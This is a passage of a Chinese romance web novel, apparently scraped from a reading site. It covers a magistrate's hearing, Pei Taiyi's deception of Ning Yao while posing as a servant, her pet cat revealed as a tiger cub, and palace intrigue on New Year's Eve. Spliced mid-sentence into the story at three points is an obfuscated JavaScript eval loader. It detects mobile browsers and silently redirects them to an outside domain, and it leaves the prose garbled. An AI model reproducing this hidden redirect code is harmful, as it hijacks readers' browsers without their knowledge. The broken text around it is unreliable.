周敛跟几位衙役军师嘀嘀咕咕半天,也不知道合计了些什么。 宁窈第一次进衙门,又年纪尚小,随着时间的拖延,不由也渐渐紧张起来。 她有些用力地抱了抱宁晓。宁晓又软又小的身子也贴着她,给她一些力量,“姐姐。” “乖,咱们不怕。” “宁姑娘,”遣散衙役后,周敛突然变得和颜悦色起来,问她:“他说的可属实?” 宁窈微微昂了昂头,不卑不亢地说:“此人扭曲事实。我小妹想买他的一块糕点吃,但当时我跟她走散了,没能付钱。不能付钱,将糕点收回去,或者问清她家在何处,将账挂上去就好。但他却要当街大骂我妹妹。难道下次你付钱晚了一刻,我也能大骂你祖宗十八代吗?” 少女面如朗月,眸如秋水,宛如出水芙蓉,清丽娇艳。说话声清脆如黄莺,悦耳动听。更重要的是,她还有这个年龄女孩儿没有的胆色,叫人高看两眼。 胡麻子说:“你这小妮子信口雌黄!我怎么知道她家人什么时候能找到她?我怎么知道她家在哪儿?她要是个孤儿呢?就是吃东西不给钱。” 周敛拍了拍惊堂木,道:“本官没叫你开口时,就不要说话了。” “这件事我算明白了,”周敛说:“胡麻子,虽然这小女孩儿的确没给你钱,但她不给钱,你应该报官,让官府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357759|152801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来处理,而不是当街欺负,以大欺小,实属不该;宁家姑娘,你带着你小妹上街,却没看管好,差点走失,而你小妹也的确拿了人家的糕点没给钱,你也不是全无责任。 “依本官看,你现在将糕点的钱付与他;他向你小妹赔礼道歉。你们是否同意。” 审讯到这儿,两名在外观望的衙役匆匆进来,面带喜色。 “走了?”周敛问。 “走了走了,这次真走了。”周敛长松一口气,狼狈不堪地掩了掩额角的汗水。 看来这案子他不算审错。 等衙门师爷写好状书,宁窈和胡麻子各自签字画押,从衙门出来时,已日暮西坠。 宁晓累了一天,又受了惊,眼皮都睁不开。 她脸上的碳粉已经有些脱落,成了一个小花脸,头发发根处的白也露了出来。 幸好天色晚,夜里灯火晦暗,看不清什么。 宁窈背着宁晓,缓缓往家走。 “姐姐,”宁晓睡眼惺忪,梦呓似的同她小声嘀咕,“我今天是不是不乖呀?” “怎么会,”宁窈轻声哄着,“我们小晓最乖了。睡吧,睡醒就到家了。” “嗯!” 背着妹妹,踏着月色,宁窈心中百感交集。 其实她和宁晓,也不是一开始关系就这般亲密。 宁晓刚出生时,她宁窈自己也只有十岁。她嫌弃这团,软绵绵好似没骨头的小东西。 老爱哭,一哭就像唢呐似的没完没了,嫌弃她不会自己去茅厕,身上奶臭奶臭的。更重要的是,自从她一出生,父母的关注就再也不是全部都给予她。 但她们就这么磕磕绊绊地一同慢慢长大。宁晓成了她在这世界上唯一的亲人,她唯一的纽带。她们是彼此的依靠,谁也不能将她俩分开。 前方道路灯火微弱,光芒幽暗,在那县衙漫长阶梯的最后一阶上,宁窈忽地看到了一道熟悉高大的黑色身影。 那影子魁梧如山,沉稳似海,宽阔的肩膀上披着月华和灯火的流辉。 宁窈忽地心头一震。 这个背影是…… 裴台熠? 她顿时僵在了原地,手脚微微发凉,畏惧得不敢再往前多迈一步。 她和妹妹今日去县衙的事这么快就传到了裴家? 裴台熠这次又会怎么罚她? 宁窈不再往前行步。 灯下那人却突然转过身来。 “裴吉”穿着一身干练挺括的黑色劲装,肩膀上黄铜扣系着一面猎猎作响的黑色披风。 修长苍白的手里提了一盏宫灯,那温暖澄澈的光在他面颊上流转,让他凌冽的五官显得更加深刻立体,犹如破光的银刃。 “傻站着在那儿做什么,”“裴吉”朝她懒散地开口,嘴角勾着撩人的薄笑,“还不快过来。” “你……你怎么会在这儿?”宁窈立刻加快了脚步,最后两级台阶甚至是跳了下来。 她借着灯火,望着裴吉的脸。 细细看清他的五官。 茫然又欣喜地笑出了声。 裴台熠没什么羞耻心,张口就编了句瞎话:“今日刚好裴大人派我到衙门办事。听说今天有个姓宁的,就猜会不会是你,过来一看,果然是。” 说着,他将手中的灯递给了她,又将宁晓从她背上抱了过去。这个稍显亲昵的动作,他做得却流畅而自然。 “不用不用,我来。”裴台熠要抱宁晓时,宁窈吓得声音发颤。 绝不能让人发现宁晓的秘密。 裴吉也不行。 宁窈突然起来过激的反应,倒让裴台熠多留了几分心,扫了一眼沉睡中的宁晓。 晦暗飘忽的灯光下很难看清颜色,即便是纯白,也会显得雾蒙蒙的。可裴台熠曾在极寒的边疆待过了五年,那里经常有蛮族夜间奇袭,因此练就了一双火眼,双目夜视力极强,甚至越暗看得反而越清楚。 只这一眼,他就看见了宁窈费尽心机帮妹妹藏在那圈儿白色兜帽帽檐后面的白色睫毛和白色头发。 17. 求人 若是旁人,突然瞥见宁晓的满头白发,多半会以为这是妖邪之物,要吓得抱头鼠窜。 可裴台熠不是别人。 他向来不信神佛。 如若这世上真有神佛在天庇佑。 那么像他这种,早该下十八层地狱,而不是烈火烹油,鲜花锦盛。 既然无神佛,那么自然也无妖邪。 他平日也爱读些奇书。 曾在书中读到有一种病,病人全身毛发雪白,身体羸弱,此病无药可解,病人往往在病痛折磨中早早过世。甚至大部分病人活不到病发之日。因为许多无知之人,会认为这些人是妖邪,属不祥之兆,将他们抓去活活烧死。 诸多疑点在这一刻忽地有了答案。 难怪那日宁窈在祖母跟前紧抱着妹妹,始终不敢抬头看他。 难怪他带她逛灯会,一提到带妹妹出来玩,就会流露出伤感之色。 他对宁窈抱有偏见,觉得她之前的种种行为,都是因为性格过于胆小温顺。他并不喜欢软弱的东西,觉得那是让渡主动权的表现。 现在看来,宁窈一路从金筑过来,小心翼翼地掩藏着自己的秘密。 她个子小小的,肩膀也十分瘦削,但就这柳条似的柔软纤细的身子里,仿佛蕴藏着巨大的力量,挑起来了远大于她身体的重担。她胆小么?怯懦么?并不是,她甚至比许多男子更有勇气,更有担当。 裴台熠极少有懊悔之意。 此时心底微微一胀,第一次生出悔意。 过了,不该骗她的。 但这一丝悔意,也不过维系了短短的一弹指。 他紧接着就又我行我素起来。 他就是这样的人。 骗都骗了,那又如何? 反正比这恶劣上百倍上千倍的恶事,他也不是没做过。 就看小姑娘有没有本事识破人心。 裴台熠掩了掩睫,不动声色地将宁晓重新背了起来。 宁晓不小心敞开的兜帽随着动作起伏,又重新遮在了她的头发上。 宁窈和裴台熠说话时,宁晓已经醒了。 她小小的身体在裴台熠后背上僵硬成一团,漆黑的圆滚滚的眼睛也不敢转动。 “如果要想等天亮了才到家,就你着。”裴台熠开口道,迈步缓缓朝前走。 宁晓现在已经五岁了,其实有点重,宁窈背起来很吃力,走不快。如果“裴吉”来背,他们的确能走得快很多。而且“裴吉”似乎并没有注意到宁晓的头发。 心在胸腔紧张不安地乱蹿了一会儿,宁窈抬手给妹妹拉了拉帽檐。 她将灯朝他的位置偏了偏,好让他看得更清楚,然后跟在裴吉的身后。 看着趴在“裴吉”宽广后背上的小小的宁晓。 宁窈的眼眶不由酸了酸,蓦地想到以前爹爹和娘亲还在时,他们也是这样一起逛集市。温柔的母亲牵着她的小手,高大的父亲背着宁晓走在前面,一大家子其乐融融,这一幕仿佛就在昨天。 姆妈说,如果她未来的夫君是个侍卫倒也不错。 可一想到宁晓的病,一想到那个梦境。 宁窈就不敢踟蹰向前了。 裴吉真好。 因为裴吉他很好。, 所以她更不能自私地将他牵连进自己和宁晓的因果里。 “刚刚你妹妹想吃什么?”裴台熠突然停下来,转头问她。 “好像是……白糖糕?”宁窈说。 宁晓耷拉着的小耳朵,立刻竖了起来,小心翼翼地抿了抿小嘴,吞咽了一口唾沫。别说街上到处都是香喷喷的小食香,她们从出门到现在,就没正经吃上一口东西,她的小肚子早就饿瘪了,正咕噜咕噜叫。 “就这玩意儿?”裴台熠不屑地说。 “客官,您看要哪种?”小贩殷勤地招呼。 裴台熠也懒得看一旁写字的告示牌,道:“全都包起来。” 宁窈:“……这么多?” 裴台熠已经转身去另一家店铺,“你妹妹喜欢宫灯?” “对……”宁窈手里已经被塞满了白糖糕、红糖糕、芋头糕,快腾不出手。 “客官,我们这是十二生肖宫灯,十二生肖,每个都有!”裴台熠财大气粗的表现让卖灯的小贩打了鸡血一样热情。 裴台熠还是懒得细看:“都包起来。” “十二个?”小贩托了托下巴。 “都包起来。”裴台熠从始至终就是这一句话。 宁晓第一次出门逛集市,花呀草呀,对她而言已经够新鲜的了。裴台熠还什么都给她买,她想要什么,裴台熠就将整个摊子都给她包下来。宁晓哪儿见过这阵势,小脸上糊了一脸白糖粉,露出了同龄小孩的笑脸,高兴得快要蹦起来。 “裴吉哥哥,你,你别给她买了。”宁窈实在看不下去。 她也不知道“裴吉”是怎么了,突然就当上了散财童子。 她对待妹妹的教育方式,始终是教她勤劳勇敢,勤俭节约,虽不在玩具吃穿上苛待,但也越不会这么娇惯着。而且裴台熠买的这些东西太太太多了,白糖糕都是糖,小孩儿哪儿能吃这么多糖?还有那条火龙的宫灯,足足有半米长,拿回家根本没地方放。 裴台熠却将她的话当耳旁风,不仅给宁晓买,还给她买。 宁晓有什么,她就有一份一模一样的。 眼看事态越来越严重,宁窈急中生智,道:“小晓属猪,给她买一盏小猪灯。” 说罢就将火龙放了回去。 “嗯,”裴台熠道:“小猪灯有几种?” “十二种。” “都包起来。” 宁窈:“……” 宁窈连拉带拽,总算将裴台熠拉了回来。她手里拿满了糕点、宫灯、糖葫芦、拨浪鼓、小老虎头帽子……宁晓趴在裴台熠身上偷吃冬瓜糖,宁窈不许她吃,她就像小老鼠一样藏着糖吃,将糖粉全弄在了裴台熠的衣领上。 “你真是的,”宁窈看着琳琅满目的小玩意,忍不住责备了几句:“怎么能这么乱花钱?你给我大表哥当差,挣的也是辛苦钱。我妹妹就是个小孩子,小孩子今天喜欢这个,明天就喜欢别的了。买这么多,最后都变成废纸了。” 裴台熠有口难言,无力感再次油然而生。 “我俸禄并不少,”裴台熠说:“而且买这点东西花不了多少。” “那也不能乱花。”宁窈坚持道:“钱要攒起来的。” “攒起来做什么,”裴台熠道:“攒老婆本?” 裴台熠其实并没有说这种轻浮话的打算。 但话赶话的,也不知怎么了,这句话灵鱼似的脱口而出。 空气静了静,两人谁也不言语的空隙被沿街叫卖的小贩填满。暖冬微风习习,沿街灯意溶溶,低沉的打更声渐渐远去。裴家的院门出现在道路的尽头。 宁窈莫名脸颊涨得通红,咬了咬下嘴唇,道:“跟你好好说话,你还开我玩笑,不要再跟你说了。我到家了。” 她将大大小小的东西交给候着的侍女,抱着宁晓飞快进屋里去。 * 姆妈听了宁窈跟宁晓今天在外面的遭遇,对着佛龛拜了又拜,给宁窈宁晓张罗热饭热茶,“真是佛祖保佑佛祖保佑。以后莫要再带晓小姐出去了。就在家里待着,多好。” 宁窈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宁窈有些好笑地轻轻点了点宁晓的鼻尖,“你呀你!是不是因为他给你买糖啦?”宁窈挠宁晓肚子上的痒痒,“你这么小小一个,不能吃这么多糖。” 宁晓被挠得咯咯直笑,人小鬼大地说:“他要是我姐夫就好了,就能天天带我吃糖。” 宁窈忍俊不禁,道:“你没姐夫,快睡吧。”说罢吹灭床头的小灯。 等宁晓睡下后,宁窈又悄悄给她把了脉,然后披着外衣下床提笔在药方上改了几个字。来京城一个月有余,她已经给化真先生修了上百封书信。至今音讯全无。但她仍不沮丧,展开信纸又修了一封,用油蜡封好,寄了出去。 * 这晚化真提着包袱归家,一打开门,雪花似的书信差点将他淹没。看家的书童解释:“师父,这些信我已经每日清过了,没想到又来了这么多。” 化真揭开糊脸上的信,道:“我知道,又是那个小姑娘干的呗!” “是……” “快被烦死了,”化真道:“裴容是个古灵精怪的,她闺女比她还闹腾!看来我再不收她,这日子没法过了!” “那师父是决定要收了?”书童问。 化真半晌不答。 裴容是他的关门弟子,也是他最得意的门生。 结果好好一女神医,非要嫁人。这么一嫁人,医术也不精进了,一心一意养她的一对小娃娃,最后搞得自己早早病逝。现在她女儿还要跑来学,学个什么?学一半又嫁人去?他不教了! 这时一股寒意突然抵上了他的脖颈上。 化真转过身,小小一间药庐忽地站满了黑衣人。 “你们是什么人!你是谁?” 只见堂上坐了一位戴黑色兽纹面具男子,那人一身黑衣,黑色披风拖曳在地。他正把玩着一把惨白的薄刀刃,刀面上倒映出一双黑漆漆的眼睛。 “有人求人是三拜九叩,妄图以诚心感动天地;但我这人,没什么心,所以我求人一般用刀。”裴台熠将刀背架在化真的脖颈上—— “收不收?不收把你杀了。” 18. 第一层马甲 清早宁窈照例哄着宁晓起床洗漱,帮她在梳妆镜前用炭笔染发染眉,忽地姆妈敲门进来,“窈姑娘,有你的一封信。” “放……着,给我吧。”宁窈随意地扭头瞥了一眼,见姆妈手里拿了一封盖鸡黄色蜡油的信封,立刻放下梳子。 “嘶……”梳子揪着宁晓的发根,宁晓细声细气地哼了哼。 她展开了信纸,顿时要跳了起来。 “怎的了怎的了?”姆妈忙问。 宁窈:“是化真先生,化真先生同意让我去他药庐了!” “可是那位神医?”姆妈欣喜道。 这时宁晓毛茸茸的小脑袋也凑了过来。 她识字还不全,看不懂信上写了什么,也不大懂,化真先生的回信于她而言意味着什么。她只想着,姐姐高兴,她就也好高兴。水汪汪的大眼睛眨巴了又眨巴,甜滋滋地冲着宁窈笑 信上内容极短,而且语气生硬,有几个字笔画写得弯弯曲曲,犹如蚯蚓蜿蜒爬行,甚至还有地方沾了点水珠,好似是被人强行按在桌子上哭着写的。 宁窈将信读了又读,抱着宁晓亲了一大口。 “晓姑娘的病这下能治了吧?”姆妈既期待又紧张地低声问她。 宁窈澎湃的心情平静了几分。 她习惯对任何事都不抱过于大的期望,因为往往希望越大失望就越大。化真先生的回信并不代表什么,只是让宁晓的病治好的可能性大了几分。她再次摸了摸宁晓的小脑袋,温声道:“有希望了。” “有希望就好,有希望就好!”姆妈道:“我去厨房里做点好吃的,今天可要好好庆祝庆祝。” 是呀,今天真得庆祝一番。 宁窈心中的欢喜也要溢出来,她忍不住想和更多人分享。她想到的第一个人,就是她在京城交到的第一个好朋友。她想马上跑去告诉“裴吉”。 “姆妈,我跟你一起去厨房。” 宁窈在厨房里捣鼓了半日,跟姆妈一起做了好多吃食。有给小猫吃的牛肉干、小鱼干,小肉条;还有给人吃的白糖糕、烤洋芋,烧肉。最后,她又从枕头下摸出自己亲手绣的小荷包,藏进怀里。 “裴吉哥哥!裴吉哥哥!”她提着小竹篓,飞似的一溜烟跑去了东院,“裴吉哥哥你在家嘛?” 这么久没撞见大表哥,叫宁窈的胆子一日比一日大。 而且她今日有好消息,必须大声喊出来才高兴。 裴台熠算到她今日多半会来,这会儿正在屋里翻书,隔着窗户听到宁窈银铃似的声音“魔音穿耳”,单薄的淡色唇角勾出了一丝他自己都不曾发觉的笑意。 他搁下手中书卷,故意缓步从屋里走出,站在走廊前问她:“什么事儿啊?这么高兴?” 宁窈在台阶下昂着一张如桃花似的小脸,笑盈盈地说:“裴吉哥哥,记不记得上次我跟你说,我还不是医女,但马上就是了?现在,我就是了!”说到这儿,她已忍不住咯咯笑了起来,活泼开朗的笑声脆如夜莺。 裴台熠不觉莞尔。 其实宁窈也今年也才刚及笄。 天天叽叽喳喳天真浪漫,才是这个年龄该有的样子。 只是她平日里总是被什么东西压着,不得不表现得温顺乖巧,现在总算有了点任性妄为的孩子气。 “是么。”裴台熠淡笑,道:“你这么厉害啊。” “嘿嘿嘿嘿。”宁窈被夸了,有些得意又有些难为情,但更多的是巨大的喜悦。她举起手中的小竹篓给裴台熠看,“我今天带了好多好多好吃的。” 这时只听“嗷呜”一声,一只巨大的猛兽从一旁一人高的黑压压的茂盛灌木丛里蹿了出来。宁窈还没看清那是什么,便已经被撞倒在地。尖锐的兽爪正挠在她的小腿上,瞬间冒出一串鲜红的血珠,她怀中装满吃食的小竹篓也被打翻在地,里头给阿寅喂饭的小碗摔了个粉碎。 裴台熠脸色一沉,举起一条带倒钩的长铁鞭,扬手就是一鞭,喝道:“孽畜。” “嗷嗷呜……”大虎崽子这下知道自己犯了错,虎头压地,喉咙中发出嘶嘶的求饶声。那声音贴着地面传过来,让青石板地都微微震颤。 宁窈起初还有些茫然,甚至没弄清发生了什么。她还完全无法理解为何“裴吉”的院子里会突然蹿出这么巨大的一只虎来。 紧接着,小腿上阵阵痛意传来,令她疼得轻轻倒抽了一口气。 “它是……”宁窈大着胆子,再次打量这只趴在地上的幼虎。它的虎头上有一簇橘黄色的毛,与其他毛发的方向不同,看起来就像一只小揪揪。阿寅的脑袋上也有一缕一模一样的小毛。 宁窈不敢相信,但又有些怀疑,试探道:“阿寅?” 大虎崽子终于从少女口中听到了自己的名字,抬头望宁窈,嗓子眼里发出咕噜噜的回音。毕竟是一只成年的幼虎,即便这么撒娇,发出的声音仍然叫人胆颤心惊。 宁窈伸出手,轻轻摸了摸阿寅额头上的小毛。 “咕噜噜……”年幼的小虎体格巨大,一身毛发油光水滑威风凛凛,但它将头蹭它掌心的姿势,面部的神情,还有那充满依赖的眼神,全都跟它小猫形态时别无二致。 它是真的很想很想跟它的小主人像以前那样一起愉快地玩耍。 但它哪里知道,自己现在的体态雄壮得赛过一头牛,一巴掌能拍死一只小猪。 宁窈怎么可能抵抗得了它玩游戏似的一撞。 真的是阿寅…… 宁窈撸老虎头的动作非常娴熟,仍是有些不敢相信。 她的阿寅,怎么会突然变成一只大虎? 裴台熠面色铁青,手中长鞭再次扬了起来,又要抽下第二鞭。 畜生伤了人,就是要挨抽。非得抽得满地找牙,剥了这层虎皮做脚踏才会老实。 “你别打它,”宁窈忙拦着裴台熠,“别打。” 裴台熠手中这钢鞭也不知是用什么做的,一鞭子下去,叫虎皮都皮开肉绽。阿寅明显被他打怕了,巨大的身体直往她身后躲,瑟瑟发抖。 “它也不是故意的。”宁窈为阿寅说话,“它刚刚应该就是想找我玩。” 她习惯性地摸了摸老虎头。 阿寅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14369377|152801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是像小时候一样,舒服得嗓子眼里发出咕噜噜声。 它现在学乖了一点,知道将一定要将自己的爪子收好。 毛茸茸的两只前爪老老实实地按在地上。 宁窈本有点害怕,但摸着摸着,也就不那么怕了。 还是,她的阿寅嘛。 就是大了亿点点。 裴台熠阴沉着脸色,一言不发。 他一把将宁窈横抱起来,大步回到房中。 宁窈被放置在一张拔步床上,“裴吉”转身出去。 床板很硬,仅垫了一层薄被,不像女孩子的床那么软和,这种硬邦邦的不太舒服的感触,时刻提醒着宁窈,她现在不在自己的闺房,坐着的不是自己的小床,而是“裴吉”的床,一个男子的床。 她的脸有些发涨,想趁“裴吉”不在快些逃出去。 可受伤的腿一落地,又立马传来了一阵酸痛,叫她不得不又皱着眉坐了回去。 以前她来找“裴吉”玩,他们都是在院子里。 室外是青天白日,而且没有屋檐墙面的遮挡,就不会有一种私密暧.昧的气氛。而且,他们也算不上独处,毕竟每次身旁总有一只小狸奴,不,一只大老虎在翻肚皮。 但这屋里四面都是墙。 密不透风的墙,将屋中气息捂着。 这里的每一件衣服,每一只枕头、床单、被褥,都沾染着它们主人的味道,叫宁窈每一口呼吸,鼻尖前萦绕着的都是那阵清淡冷冽的杉木香。 宁窈用冰凉的手背贴了贴脸颊,刻意不去细想这些。 她转开眼睛,去瞧屋中陈设转移注意。 “裴吉”的房间和他的小院一样简易。 他似是极不喜欢奢华,屋里也像一处冰窖。 目之所及,一张拔步床,两面书案,一面书架,就已经是这屋子的全部陈设。 黄杨木架书架上摆了好些书卷。这些书许是“裴吉”经常翻阅,因此即便敞开放着,书面上也不见不落灰尘。 书案旁靠窗棂的地方,还摆了一张半米长小案。 案上是些四四方方的薄木片。 那木片大小相当,薄厚相当,或横或竖的摞放在一起。 通过调整相接处的角度,竟严丝合缝地拼接起来,搭成大小不一的若干小小房屋。一间间小房,组成了乡镇、村落、宫殿…… 宁窈不由会心一笑,忘了刚刚的拘谨。 原来“裴吉”平日除了给她大表哥做事,闲暇时就会玩这些小木片。 还蛮…… 可爱的。 这时裴台熠拿着药膏从屋外折了回来,他仍沉默不语,俯身半蹲在她脚旁,就要卷起她的裙摆。 藕粉色的长裙拖曳在地,垂落在“裴吉”床前一块深褐色长绒地毯上。地毯颜色极深,薄裙的颜色极浅,一深一浅,却交融缠绕在了一起。 “我,我自己来就好了……”宁窈慌忙将穿着淡粉色绣花软底鞋的脚往裙摆下藏,小脸涨得通红,几乎要滴下血来。 女孩子的脚不能被看到,腿更不能…… 19. 除夕 宁窈无力地推阻着。 裴台熠手上的动作却坚持又坚定。 最后宁窈只能垂睫眼睁睁看着自己淡粉色丝绸裙摆被一点点卷起来。 一节生藕似的小腿,从层层叠叠的裙裾中剥了出来。 纤细修长,白如美玉,滑如羊脂。 握在掌中,脆嫩得犹如一团白嫩的奶豆腐。 稍用上些力,就要将它碾碎了。 可惜美玉见了瑕。 小腿肚上一道半寸长短的血痕触目惊心。 阿寅是跟宁窈在抓着玩。 爪子收着力气,不然这条腿早该废了。 可老虎毕竟是老虎。 玩闹的力度也能见血。 裴台熠手握着宁窈脚踝,将她的小腿搁置在自己的膝盖上。然后倒药膏入掌中,整个手掌心捂住小腿上的伤口。 当裴台熠的手掌贴上来,宁窈立刻细细倒抽了一口凉气,逼出些泪珠来。 药膏不是宁窈自己配置的温和药性。 用药霸道,效果极佳,能白骨生肉,伤不留痕。 所以涂上去时的滋味不大好受。 又凉又麻,仿佛有一百只蚂蚁在伤口上爬。 裴台熠的手又滚烫灼热,掌心的药膏冰凉刺骨。 刺痛的小腿忽而一热,忽而又一凉,让她小腿肚几乎要颤了起来,如果不要咬着牙努力忍住,差点要踢在裴台熠的手掌上。 宁窈抿着嘴唇,下唇咬得发白。 刻意挪开目光,不再看腿上的伤口,想分散一下注意。 垂落的目光便落在半跪在她脚边的“裴吉”的发顶上。 她个儿小。 裴台熠个儿高。 以往她看他,总得是昂着头望。 现在他在下,而她在上。 于是从她的角度看过去,只能看见“裴吉”整齐的发顶。 他的头发乌黑如鸦羽,发鬓整齐干净,束了一只黑曜石镶金边发冠。 “裴吉”不算大富人,但他在穿着打扮上很精细,清雅但又贵气。 也不知怎的,宁窈忽地觉得,“裴吉”的头发,看起来很些像阿寅那一身虎毛。 颜色不同,但都泛着健康的光泽。 其实“裴吉”也是一只霸道的大猫。 她忍着腿上的痒意,开口问道:“裴吉哥哥,你之前是一直在骗我么?是不是一直在看我笑话?笑我猫虎不分,是个大傻瓜?” 裴台熠没说话,涂药的手微微颤了颤。 手指无意用力,捏在宁窈的腿肉上。 那白而柔软的肉,便像羊指一样,从他粗糙的指腹之间溢了出来。 宁窈在他头顶轻轻嘤咛一声。 裴台熠立刻松开手指,继续涂药。 过了半晌,沉沉道:“是。” 是。 他就是在骗她。 在耍她玩。 因为他就是一个这么恶劣的人。 闻言,宁窈轻轻“嘁”了一声,道:“我不算傻的。” 她不傻。 她只是不把不好的事放在心上。 只记人的好,不记人的坏。 “裴吉”虽骗了她,但也帮过她好多。 她刚来京城人生地不熟的时候。 是“裴吉”帮忙找的婢女,甚至还垫了钱。 现在她的小院井井有条,这两位小婢女功不可没。 是“裴吉”在她受罚的时候帮她抄书,带她逛市集。 也是“裴吉”,带着她的小妹一起玩,给小妹买了好多糖…… 论迹不论心。 论心世上无完人。 “裴吉”即便存过骗她耍她的心思,但也并没有真正伤害过她。 “裴吉”就是这破性格。 像只坏脾气的大猫猫。 以为自己在跟她玩,但却不小心将她抓伤了。 涂好了药,宁窈放下裙角,将小腿和脚背严严实实地捂了起来。 她的脸还是滚烫的。 想快些出去透透气。 宁窈一瘸一拐走出去。 大虎崽子似乎知道自己犯了大错,猫猫祟祟地在门外灌木林里扫尾巴。 见宁窈从屋里出来,便以头贴地,趴在地上,小心翼翼地朝宁窈蹭过去,这次它将自己的爪子收得很好,伸出来毛茸茸的。 自己养得好好的小猫咪突然变成了大老虎,宁窈其实也有点犯怵。 但毕竟养这么久了,多少养出了些感情。 她大着胆子走了过去,还是像以前一样试着摸了摸大虎崽子的头。 “嗷……”大地震颤,群树摇曳,飞禽走兽瑟瑟发抖,大虎崽子舒服得咕噜噜叫,又像以前一样翻起了肚皮。 宁窈不由笑了起来。 还是她的阿寅嘛。 吃这么多肉,长这么大个儿,还是爱黏人。 宁窈摸着老虎头,背对着“裴吉”问:“你还有什么骗我的么?” 裴台熠仍没开口。 那张狰狞可怖的青铜兽纹面具就在厢房墙壁上。 只要他愿意,他可以现在就去取出来,然后向宁窈全盘托出。 这时院外忽地传来一阵动静,有人往这边过来。 宁窈吓了一大跳,转身就想跑。她腿还伤着,裴台熠皱眉扶了她一把,轻喝了一声:“你乱跑什么?” 宁窈脸上的笑容消失不见了,黛眉微皱,长睫轻颤,又紧张又惶恐地说:“有人过来了,是不是我大表哥?” 裴台熠顿时怔住。 他怎么差点忘了,他裴台熠的声名狼藉。 院外人到了门前,立刻匆匆掉转了方向。 听说话声,原来是裴老太太屋里进了新人,李嬷嬷正带着新婢女认门,到了东院,没敢往里走,只在门外指了个方向,告诉他们日后莫要走错地方,这里万不可来。 宁窈松了口气,“吓死我了。我还以为要被发现了。” “裴吉”是她大表哥的下属。 她大表哥平时老爱罚“裴吉”,若她大表哥发现自己在“裴吉”的房间里,“裴吉”一定会受到非常严重的惩罚。 看着宁窈一会儿紧张一会儿轻松,裴台熠到嗓子眼的话立刻沉了下去。仿佛一块巨石滚落山崖,那沉闷的回音半晌才攀着峡谷回荡上来,久久不平息。 “你,”裴台熠道:“就这么害怕你大表哥?” 宁窈不疑有他,走到竹篓被踩坏的地方,点了点头,道:“怕死了,他算是我最怕的人了吧。” 她拾掇散落在地的碗碟吃食,“我刚刚说什么来着?想起来,除了它,”宁窈戳了戳老虎头,问:“裴吉哥哥,你还有骗我什么吗?” 裴台熠看着重新回到宁窈脸上开朗动人的笑意,回答:“没有。” “哼,”宁窈相信了,她皱了皱鼻尖,道:“这就好。” “哎,真可惜……”小竹篓被阿寅踩得稀巴烂,里面的东西也全糟蹋了不能吃,好多好吃的呢,这下都吃不成了。宁窈略略有些心疼。阿寅不在乎这些,它已经悄悄用鼻子拱起来掉落在地的吃食,舌头一卷,全吞下了肚。 收拾好的东西全扔掉,裴台熠站在院中梅花树下,隔着树荫不动声色地看着宁窈走出去。她腿伤着了,所以走得有些慢,他便能看许久。直到那道瘦小的倩影就要消失在转弯处,宁窈忽地又折了回来。 她重新走到了他的面前,一张桃花艳丽的小脸脸颊泛红。她半低着头,往他怀中塞了一只小小香包,道:“差点把这个给忘了。给你的。” 上次她答应过要给“裴吉”一个新的没用过的小香包。 绣了好几日,终于绣好了。 裴台熠拿着香包,“你,不生气了?” “才没有,我还气着。”宁窈嘴上这么说,但那双黑亮的眼眸却是笑着的,笑容娇气又狡黠。 她接着说,“但是,明天是除夕,记得来我家吃年夜饭,我跟我姆妈说好了。” 这次她又走掉了,再没回头。 裴台熠垂眸拿着手中精巧的香包,心口发胀。 他也不知这种感觉是什么。 只觉得鼻尖萦绕着一股幽香,经久不散。 * 除夕夜,皇宫大殿,苦涩的药味弥漫。 太医徐力领着他爱徒徐谦入殿为万岁爷姬醇看诊。 把脉后,徐力在已有的药方上添了几笔,又劝姬醇爱惜身体,莫要为国家大事太过费心劳神,便匆匆退了下去。 出了大殿,迎面便是裴台熠的黑轿。 那轿子黑黢黢过来,如乌云压境。 两人慌忙跪拜在地,待那轿子走远了,方才战战兢兢地起身。 两人继续往太医院去。徐谦疑惑不解地问徐力:“师父,方才在殿上,观圣上面色青中带黄,眼白浑浊,多半是心中有郁结,夜不能寐而致,为何师父却不明说,只添几味调养壮阳的药材?” 徐力师从化真先生,医术远在他之上,圣上的症状连他都能看出一二,师父怎么会看不出来? 徐力嘬了一声,吹胡子瞪眼道:“就你聪明,全世界就你脑袋瓜子聪明,别人都是傻子。这么多太医,一个都瞧不出来,偏偏你瞧出来了。” 徐谦被骂得直缩脖子:“师父我错了。” 徐力叹了口气,道:“圣上自然是有心事,这心事谁不知道?可谁都不能提。谁提谁掉脑袋,在这宫中,切记四字,谨言、慎行” 被师父这么一顿搓,徐谦方才幡然醒悟。 圣上心头的病灶,谁人不知? 先帝膝下二子一女,长公主姬瑜,大皇子姬璟,二皇子姬醇。姬璟自幼品性端正,聪慧过人,深得先帝喜爱;而二皇子为南蛮进献歌女所处,并不受先帝待见。先帝晚年病重,也是由姬璟代为执政,处理朝务。 然而,就在先帝驾崩前夕,传位的圣旨突然发生变动,由太子人选由姬璟变成了谁也没想到的姬醇。 